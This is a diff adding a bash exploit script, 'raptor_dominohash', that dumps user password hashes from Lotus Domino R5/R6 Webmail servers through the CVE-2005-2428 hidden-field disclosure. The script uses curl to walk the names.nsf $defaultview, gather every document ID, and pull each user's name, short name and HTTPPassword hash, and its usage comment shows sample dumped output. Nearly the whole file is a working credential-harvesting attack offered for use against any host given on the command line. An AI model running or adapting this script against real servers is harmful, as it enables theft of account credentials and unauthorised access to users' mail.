|
| 1 | +#!/bin/bash |
| 2 | + |
| 3 | +# |
| 4 | +# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:10 raptor Exp $ |
| 5 | +# |
| 6 | +# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump |
| 7 | +# Copyright (c) 2007 Marco Ivaldi <[email protected]> |
| 8 | +# |
| 9 | +# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, |
| 10 | +# stores sensitive data from names.nsf in hidden form fields, which allows |
| 11 | +# remote attackers to read the HTML source to obtain sensitive information such |
| 12 | +# as (1) the password hash in the HTTPPassword field, (2) the password change |
| 13 | +# date in the HTTPPasswordChangeDate field, (3) the client platform in the |
| 14 | +# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and |
| 15 | +# (5) the client Lotus Domino release in the ClntBld field, a different |
| 16 | +# vulnerability than CVE-2005-2696 (CVE-2005-2428). |
| 17 | +# |
| 18 | +# According to testing, it's possible to dump all HTTPPassword hashes using the |
| 19 | +# $defaultview view instead of $users. This saves a considerable amount of time. |
| 20 | +# |
| 21 | +# The code may require some changes to properly work with your configuration. |
| 22 | +# |
| 23 | +# See also: |
| 24 | +# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml |
| 25 | +# |
| 26 | +# Usage: |
| 27 | +# $ ./raptor_dominohash 192.168.0.202 |
| 28 | +# [...] |
| 29 | +# Extracting the view entries... |
| 30 | +# Done! 656 unique entries have been found. |
| 31 | +# Now ready to dump password hashes... |
| 32 | +# [...] |
| 33 | +# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3] |
| 34 | +# FirstName: Foo |
| 35 | +# LastName: Bar |
| 36 | +# ShortName: fbar |
| 37 | +# HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4) |
| 38 | +# [...] |
| 39 | +# |
| 40 | +# Vulnerable platforms: |
| 41 | +# Lotus Domino R6 Webmail [tested] |
| 42 | +# Lotus Domino R5 Webmail [untested] |
| 43 | +# Lotus Domino R4 Webmail? [untested] |
| 44 | +# |
| 45 | + |
| 46 | +# Some vars |
| 47 | +i=1 |
| 48 | +tmp1=dominohash1.tmp |
| 49 | +tmp2=dominohash2.tmp |
| 50 | + |
| 51 | +# Command line |
| 52 | +host=$1 |
| 53 | + |
| 54 | +# Local fuctions |
| 55 | +function header() { |
| 56 | + echo "" |
| 57 | + echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump" |
| 58 | + echo "Copyright (c) 2007 Marco Ivaldi <[email protected]>" |
| 59 | + echo "" |
| 60 | +} |
| 61 | + |
| 62 | +function footer() { |
| 63 | + echo "" |
| 64 | + exit 0 |
| 65 | +} |
| 66 | + |
| 67 | +function usage() { |
| 68 | + header |
| 69 | + echo "usage : ./raptor_dominohash <host>" |
| 70 | + echo "example: ./raptor_dominohash 192.168.0.202" |
| 71 | + footer |
| 72 | +} |
| 73 | + |
| 74 | +function notfound() { |
| 75 | + header |
| 76 | + echo "error : curl not found" |
| 77 | + footer |
| 78 | +} |
| 79 | + |
| 80 | +# Check if curl is there |
| 81 | +curl=`which curl 2>/dev/null` |
| 82 | +if [ $? -ne 0 ]; then |
| 83 | + notfound |
| 84 | +fi |
| 85 | + |
| 86 | +# Input control |
| 87 | +if [ -z "$1" ]; then |
| 88 | + usage |
| 89 | +fi |
| 90 | + |
| 91 | +# Remove temporary files |
| 92 | +rm -f $tmp1 |
| 93 | +rm -f $tmp2 |
| 94 | + |
| 95 | +header |
| 96 | + |
| 97 | +# Extract the view entries |
| 98 | +echo "Extracting the view entries..." |
| 99 | +while : |
| 100 | +do |
| 101 | + curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2>/dev/null | grep unid >> $tmp1 |
| 102 | + |
| 103 | + # Check grep return value |
| 104 | + if [ $? -ne 0 ]; then |
| 105 | + break |
| 106 | + fi |
| 107 | + |
| 108 | + # Go for the next page |
| 109 | + i=`expr $i + 30` |
| 110 | + echo -ne "\b\b\b\b\b\b\b\b$i" |
| 111 | +done |
| 112 | + |
| 113 | +cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq > $tmp2 |
| 114 | + |
| 115 | +# Check if some view entries have been found |
| 116 | +if [ ! -s $tmp2 ]; then |
| 117 | + echo "No entries found on host ${host}!" |
| 118 | + footer |
| 119 | +fi |
| 120 | +echo -ne "\b\b\b\b\b\b\b\bDone! " |
| 121 | +echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found." |
| 122 | +echo "" |
| 123 | + |
| 124 | +# Perform the hash dumping |
| 125 | +echo "Now ready to dump password hashes..." |
| 126 | +echo "" |
| 127 | +sleep 4 |
| 128 | +for unid in `cat $tmp2` |
| 129 | +do |
| 130 | + echo "[http://${host}/names.nsf/\$defaultview/${unid}]" |
| 131 | + echo "" |
| 132 | + #curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FullName"|"HTTPPassword"' |
| 133 | + curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '">' |
| 134 | + echo "" |
| 135 | +done |
| 136 | + |
| 137 | +footer |
0 commit comments